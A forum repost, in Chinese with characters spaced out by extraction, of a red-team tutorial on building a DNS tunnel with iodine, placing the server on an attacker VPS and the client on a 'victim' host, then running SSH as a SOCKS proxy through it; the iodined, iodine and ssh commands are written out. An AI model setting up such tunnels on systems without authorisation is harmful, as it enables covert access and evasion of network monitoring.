搜索

[348] 2020-10-28_iodine搭建dns隧道

文档创建者：s7ckTeam
浏览次数：7
最后更新：2025-01-16
2020-10-28_iodine搭建dns隧道 i o d i n e 搭 建 d n s 隧 道 原 创   a F a 攻 防 实 验 室   a F a 攻 防 实 验 室   2 0 2 0 - 1 0 - 2 8 收 录 于 话 题   # 内 网 攻 防   , 4 3 个 介 绍 介 绍 i o d i n e 用 来 搭 建 d n s 隧 道 ， 地 址 ： h t t p s : / / g i t h u b . c o m / y a r r i c k / i o d i n e ， 分 为 服 务 端 和 客 户 端 ， 服 务 端 放 在 攻 击 机 ， 客 户 端 放 在 受 害 机 。 以 v p s 的 u b u n t u 为 攻 击 机 ， 以 c e n t o s 为 受 害 机 ， 需 要 安 装 。 安 装 安 装 执 行 以 下 命 令 进 行 安 装 ： 安 装 后 位 置 ： / u s r / l o c a l / s b i n / i o d i n e d 和 / u s r / l o c a l / s b i n / i o d i n e ， 服 务 端 运 行 的 是 i o d i n e d ， 客 户 端 运 行 的 是 i o d i n e 。 u b u n t u 安 装 ， 查 看 服 务 端 版 本 ： g i t   c l o n e   h t t p s : / / g i t h u b . c o m / y a r r i c k / i o d i n e m a k e m a k e   i n s t a l l
c e n t o s 安 装 ， 查 看 客 户 端 版 本 ： 安 装 碰 到 的 错 误 安 装 碰 到 的 错 误 安 装 i o d i n e 时 容 易 碰 到 z l i b . h 没 有 的 错 误 ， 如 下 图 。 注 意 ： z l i b 在 不 同 的 系 统 库 中 名 字 是 不 一 样 的 。 解 决 办 法 ： 类 似 于 c e n t o s 的 y u m 命 令 安 装 方 式 ： ` y u m   i n s t a l l   z l i b - d e v e l ` 类 似 于 u b u n t u 的 a p t - g e t 的 命 令 安 装 方 式 ： ` a p t - g e t   i n s t a l l   z l i b 1 g   z l i b 1 g . d e v ` 条 件 准 备 条 件 准 备 i o d i n e 搭 建 d n s 隧 道 需 要 一 个 域 名 和 服 务 器 ， 和 上 篇 文 章 的 d n s c a t 2 配 置 方 法 类 似 ， 这 里 我 们 把 之 前 配 置 的 n s 记 录 改 下 名 ， 测 试 配 置 是 否 成 功 方 法 和 d n s c a t 2 类 似 。 a 记 录 测 试 ：
n s 记 录 测 试 ： 这 时 之 前 设 置 的 d n s c a t 2 的 n s 记 录 就 失 效 了 ， 可 以 看 到 i o d i n e 名 称 的 n s 记 录 已 生 效 。 搭 建 隧 道 搭 建 隧 道 首 先 在 服 务 端 运 行 i o d i n e d ， 加 f 参 数 指 定 在 前 台 运 行 ， 然 后 跟 一 个 内 网 i p ， 这 个 内 网 i p 给 隧 道 使 用 ， 然 后 跟 d n s 域 名 即 可 。 如 下 图 。 i o d i n e d   - f   1 0 . 0 . 0 . 1   i o d i n e . x x x x . c o m
回 车 后 输 入 密 码 ， 客 户 端 连 接 时 需 要 使 用 ， 这 里 输 入 1 2 3 4 5 6 （ 实 战 中 建 议 指 定 复 杂 密 码 ） ， 客 户 端 设 置 好 后 ， 我 们 可 以 使 用 i o d i n e 官 方 的 检 测 页 面 来 检 测 是 否 配 置 有 误 。 地 址 ： h t t p s : / / c o d e . k r y o . s e / i o d i n e / c h e c k - i t / 输 入 我 们 的 d n s 域 名 进 行 检 测 即 可 。 服 务 端 配 置 好 后 ， 客 户 端 连 接 时 如 果 报 i o d i n e ： B A D I P ： S e r v e r   r e j e c t e d   s e n d e r   I P   a d d r e s s 错 误 ， 即 服 务 端 拒 绝 了 我 们 的 i p 地 址 ， 这 时 则 可 以 尝 试 在 服 务 端 添 加 c 参 数 来 忽 略 请 求 i p 地 址 和 端 口 的 检 查 。 服 务 端 修 改 命 令 为 ： ` i o d i n e d   - f   - c   - P   1 2 3 4 5 6   1 0 . 0 . 0 . 1   i o d i n e . x x x x . c o m `
客 户 端 再 次 运 行 ： ` i o d i n e   - f   - P   1 2 3 4 5 6   i o d i n e . x x x x . c o m ` 可 以 看 到 输 出 提 示 ， 说 当 前 设 置 了 d n s 0 网 卡 i p 为 1 0 . 0 . 0 . 2 ， 服 务 端 为 1 0 . 0 . 0 . 1 ， 我 们 测 试 可 以 在 客 户 端 看 下 当 前 是 否 添 加 了 d n s 0 网 卡 ， 是 否 可 以 p i n g 通 1 0 . 0 . 0 . 1 。 此 时 我 们 可 以 在 客 户 端 机 器 上 抓 包 查 看 下 数 据 包 的 类 型 ， 我 们 p i n g 服 务 端 的 1 0 . 0 . 0 . 1 地 址 ， e n s 3 3 网 卡 为 d n s 数 据 包 ， d n s 0 网 卡 为 i c m p 数 据 包 ， 如 下 图 。
和 和 s o c k s 代 理 结 合 使 用 代 理 结 合 使 用 d n s 隧 道 是 未 加 密 的 ， 我 们 可 以 通 过 d n s 隧 道 打 开 s s h ， 并 将 其 用 作 s o c k s 代 理 ， s s h 通 信 会 自 动 进 行 加 密 。 首 先 我 们 在 客 户 端 使 用 s s h 命 令 来 进 行 s o c k s 代 理 设 置 ： ` s s h   - N D   6 6 6 6   r o o t @ 1 0 . 0 . 0 . 1 ` 上 述 命 令 代 表 将 客 户 端 本 地 的 6 6 6 6 端 口 通 过 d n s 隧 道 转 发 到 我 们 的 v p s 服 务 器 上 。 参 数 说 明 ： N 代 表 我 们 不 做 命 令 执 行 ， 只 做 端 口 转 发 。 D 代 表 端 口 转 发 ， 即 s s h 充 当 s o c k s 服 务 器 。 输 入 密 码 回 车 后 ， 我 们 从 新 开 一 个 命 令 行 使 用 c u r l 命 令 加 x 参 数 来 进 行 测 试 ， x （ 小 写 的 ） 参 数 用 来 设 置 访 问 的 代 理 ， h t t p b i n . o r g / i p 会 返 回 访 问 它 的 i p 地 址 ， 如 果 我 们 代 理 成 功 返 回 的 就 是 v p s 的 地 址 ， 如 果 失 败 ， 返 回 的 就 是 客 户 端 本 机 的 地 址 。
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理